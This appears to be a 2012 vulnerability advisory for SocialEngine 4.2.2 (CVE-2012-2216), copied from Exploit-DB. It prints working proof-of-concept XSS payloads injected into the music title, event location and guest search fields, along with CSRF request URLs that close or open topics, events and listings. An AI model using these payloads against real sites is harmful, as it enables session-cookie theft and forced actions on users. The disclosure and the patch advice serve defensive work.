Social Engine 4.2.2 Multiples Vulnerabilities

vendor:

SocialEngine 4.2.2

by:

Tiago Natel de Moura aka 'i4k'

4,3

CVSS

MEDIUM

XSS and CSRF

79, 352

CWE

Product Name: SocialEngine 4.2.2

Affected Version From: 4.2.2

Affected Version To: Earlier versions

Patch Exists: Yes

Related CWE: CVE-2012-2216

CPE: a:socialengine:socialengine:4.2.2

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: PHP

2012

Social Engine 4.2.2 Multiples Vulnerabilities

Social Engine versions 4.2.2 is vulnerable to XSS and CSRF. For XSS, the software does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users. For CSRF, the product does not, or can be induced to not, use an appropriate mechanism to verify the source of a request prior to performing an action.

Mitigation:

The software should be updated to the latest version and input validation should be implemented to prevent XSS and CSRF attacks.

Source

Exploit-DB raw data:

Social Engine 4.2.2 Multiples Vulnerabilities
Earlier versions are also possibly vulnerable.

INFORMATION

Product: Social Engine 4.2.2
Remote-Exploit: yes
Vendor-URL: http://www.socialengine.net/
Discovered by: Tiago Natel de Moura aka "i4k"
Discovered at: 10/04/2012
CVE Notified: 10/04/2012
CVE Number: CVE-2012-2216

OVERVIEW

Social Engine versions 4.2.2 is vulnerable to XSS and CSRF.

INTRODUCTION

SocialEngine is a PHP-based white-label social networking service
platform, that provides features similar to a social network on a user's
website. Main features include administration of small-to-mid scale
social networks, some customization abilities, unencrypted code,
multilingual capability, and modular plugin/widget compatibility. There
is a range of templates and add-ons available to extend the basic
features already included in the SocialEngine core.

VULNERABILITY DESCRIPTION

== Persistent XSS in music upload. ==

CWE-79: http://cwe.mitre.org/data/definitions/79.html
The software does not neutralize or incorrectly neutralizes
user-controllable input before it is placed in output that is
used as a web page that is served to other users.

Proof Of Concept:
POST http://localhost/index.php/music/create

POST data without form-data enctype:
title=<script>alert(document.cookie);</script>&description=teste
&search=1&auth_view=everyone&MAX_FILE_SIZE=8388608&filename=
&fancyuploadfileids=15

== Persistent XSS in creating events ==

POST
http://localhost/socialengine/socialengine422_trial/index.php/events/create

POST data without form-data enctype:
title=teste XSS 3&description=teste XSS 3&starttime[date]=4/9/2012&
starttime[hour]=1&starttime[minute]=0&starttime[ampm]=AM&endtime[date]=4/12/2012
&endtime[hour]=1&endtime[minute]=0&endtime[ampm]=AM&host=teste
&location=<script>alert(document.cookie);</script>&MAX_FILE_SIZE=8388608&
photo=&category_id=0&search=&search=1&approval=&auth_invite=&auth_invite=1&
auth_view=everyone&auth_comment=everyone&auth_photo=everyone&submit=

== Reflected XSS in search form of events area. ==

Direct javascript injected:
POST http://localhost/index.php/widget/index/content_id/644

format=html&subject=event_1&search=';alert(document.cookie);var a = '

Proof of Concept:
- - Go to URL: /index.php/event/$EVENT_ID
- - Click on the "Guests"
- - Click in "Search guests" form
- - Submit: ';alert(document.cookie); var a = '

You will see your PHPSESSID in the alert.

== Multiples CSRF vulnerabilities ==

CWE-352: http://cwe.mitre.org/data/definitions/352.html
The web application does not, or can not, sufficiently verify whether
a well-formed, valid, consistent request was intentionally provided by
the user who submitted the request.

A CSRF in the plugin "Forum" allows forcing the owner of the event to do
some
activities such as:

Close a topic:
GET /index.php/forums/topic/4/example-topic/close/close/1

Open a topic:
GET /index.php/forums/topic/4/example-topic/close/close/0

A CSRF in the plugin "Event" allows forcing the owner of the event to do
some
activities such as:

Close the event:
GET /index.php/events/topic/close/close/1/event_id/2/topic_id/2

Open the event:
GET /index.php/events/topic/close/close/0/event_id/2/topic_id/2

"Watch Topic":
GET /index.php/events/topic/watch/watch/1/event_id/2/topic_id/2

"Stop Watching Topic":
GET /index.php/events/topic/watch/watch/0/event_id/2/topic_id/2

A CSRF in the plugin "Classifieds" allows forcing the owner of the event
to do
some activities such as:

Open the classified listing:
GET /index.php/classifieds/close/1/closed/0

Close the classified listing:
GET /index.php/classifieds/close/1/closed/1

VERSIONS AFFECTED

Tested with version 4.2.2 but earlier versions are possibly vulnerable.

SOLUTION

Upgrade to Social Engine 4.2.4.

NOTES


The Common Vulnerabilities and Exposures (CVE) project has assigned the
name CVE-2012-2216 to this issue. This is a candidate for inclusion in
the CVE list (http://cve.mitre.org), which standardizes names for
security problems.
CREDITS

Tiago Natel de Moura aka "i4k"
SEC+ Information Security Company - http://www.secplus.com.br/
BugSec Security Team - http://bugsec.googlecode.com/

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